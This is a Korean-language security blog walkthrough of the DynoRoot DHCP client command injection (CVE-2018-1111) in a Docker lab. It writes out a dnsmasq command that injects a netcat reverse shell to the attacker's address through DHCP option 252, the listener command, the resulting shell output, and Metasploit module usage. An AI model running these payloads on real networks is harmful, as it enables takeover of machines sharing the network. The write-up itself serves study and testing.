DynoRoot Exploit (DHCP Client Command Injection / CVE-2018-1111)

전에 이 취약점이 나왔을 때 그냥 dhcp 관련 취약점이 나왔구나 헀었느데, 최근에 다른 취약점 보다보니 이 취약점을 기반으로 한 취약점이 몇몇 보여 글로 풀어봅니다. 오늘 이야기드릴 내용은 DynoRoot Exploit입니다.

철자는 다르지만 뭔가 공룡이 생각나서….

What is it?

DynoRoot Exploit은 구글 보안팀의 Felix Wilhelm이 발견한 DHCP 보안 문제이며, 관련 방법으로 다른 취약점도 나오고 있는 상태로 보입니다. Redhat 계열 리눅스 내 DHCP 관련 명령 실행 취약점으로 취약 버전 사용과 동일 네트워크에 있다는 조건 하에 악의적인 dhcp 서버를 구성할 수 있거나 DHCP Response에 대해 스푸핑이 가능한 경우에 명령 실행이 가능합니다.

CVE-2018-1111 이며 CVSS는 아래와 같습니다.

[ CVSS v2 ]
Base Score: 7.9
Vector: AV:A/AC:M/Au:N/C:C/I:C/A:C

[ CVSS v3 ]
Base Score: 7.5
Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Why?

DHCP Client는 DHCP 서버로 부터 받은 Response를 가지고 설정할 IP 대역, 기타 옵션 정보 등 여러가지 데이터를 받는데 DHCP Option 처리 과정에서 ampersand에 대한 처리가 되어있지 않아 명령행 분리가 가능합니다. (Application단에서 처리할줄 알았는데, 터미널로 넘기는 과정이 존재하나 보네요.)

options = 1,2,3&ifconfig ??!!!

Exploit uing command line

악의적인 DHCP서버를 두고, 동일 네트워크에 DHCP Response를 스푸핑하는데, 여기에 변조된 데이터(Injection 구문)을 통해서 dns client가 다른 액션을 행하도록 command injection을 합니다.

우선 고맙게도 Docker로 만들어두신 분이 있어 환경은 해당 환경 그대로 따라가겠습니다. (갓도커)

#> git clone https://github.com/knqyf263/CVE-2018-1111
#> docker-compose up -d
#> docker-compose exec victim bash
[root@victim /]# cd script
[root@victim /]# ./victim.sh

or

[root@victim /]# systemctl restart NetworkManager
[root@victim /]# nmcli con add type eth ifname 'eth0' con-name eth0
[root@victim /]# nmcli con up id 'eth0'

(혹여나 docker-compose가 없다면 apt install docker-compose)

attacker : 10.10.10.3 client : 10.10.10.2 (docker ip는 inspect 옵션으로 확인하시면 됩니다.)

그럼 서버측에서 dnsmasq를 이용해 dhcp server를 구성해주시는데, 옵션에 아래 paylaod를 같이 포함합니다.

#> dnsmasq --user=root --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.10.0.10,10.10.0.20,1h
--conf-file=/dev/null --dhcp-option=6,10.10.0.1 --dhcp-option=3,10.10.0.1 --dhcp-option="252,yarrak'&nc -e /bin/bash 10.10.0.3 1337 #"
--log-queries --log-facility=/var/log/dnsmasq-server.log

그러고 payload에서 nc 포트로 접근하게 하였으니, 서버측에서 nc로 포트를 열어줍니다 (리버스쉘)

#> nc -l -p 1337 -v

페이로드 삽입 부분만 보면 이런 형태가 되겠네요.

Dhcp opton=> “252,x’&<payload> #”

252,x’ 이후에 &로 명령행 자르고 command 입력되면 명령이 실행되겠죠. Network manager를 통해 DHCP Response를 받아오는 경우(IP 받거나 NetworkManager 재시작 등..)

connect to [10.10.0.3] from (UNKNOWN) [10.10.0.2] 46443
uname -r 
4.15.0-34-generic

Exploit using meatsploit

다행(?)이도 msf에 해당 exploit 코드가 포팅되어 올라와있습니다. 공식 업데이트로도 반영된 부분이라 그냥 msfupdate 이후(예전 취약점이라 아마 대부분 이미 적용된 상태곘지요) 바로 사용이 가능합니다.

HWUL> search dynoroot

Matching Modules
================

   Name                                                  Disclosure Date  Rank       Description
   ----                                                  ---------------  ----       -----------
   exploit/unix/dhcp/rhel_dhcp_client_command_injection  2018-05-15       excellent  DHCP Client Command Injection (DynoRoot)

HWUL> use exploit/unix/dhcp/rhel_dhcp_client_command_injection

옵션을 보면

HWUL exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show options

Module options (exploit/unix/dhcp/rhel_dhcp_client_command_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROADCAST                     no        The broadcast address to send to
   DHCPIPEND                     no        The last IP to give out
   DHCPIPSTART                   no        The first IP to give out
   DNSSERVER                     no        The DNS server IP address
   HOSTSTART                     no        The optional host integer counter
   NETMASK                       yes       The netmask of the local subnet
   ROUTER                        no        The router IP address
   SRVHOST                       yes       The IP of the DHCP server

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

필수 부분이 SRVHOST(서버가 될 공격자 주소)와 NETMASK입니다. 타겟팅 공격이 아니기 때문에 DHCP 서버가 올라가는 것으로 완료되고 jobs으로 넘겨버립니다. 이 상태에서 동일 네트워크 사용자가 dhcp 요청을 하게될 때 response에 payload를 담아 전달하게되고, bind,reverse shell로 공격자에게 명령행을 전달해줍니다.

advanced에는 특별한건 없습니다.

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Reference

https://www.exploit-db.com/exploits/45345/ https://www.exploit-db.com/docs/english/45334-obtaining-command-execution-through-the-networkmanager-daemon.pdf https://twitter.com/_fel1x/status/996388421273882626?lang=en https://dynoroot.ninja/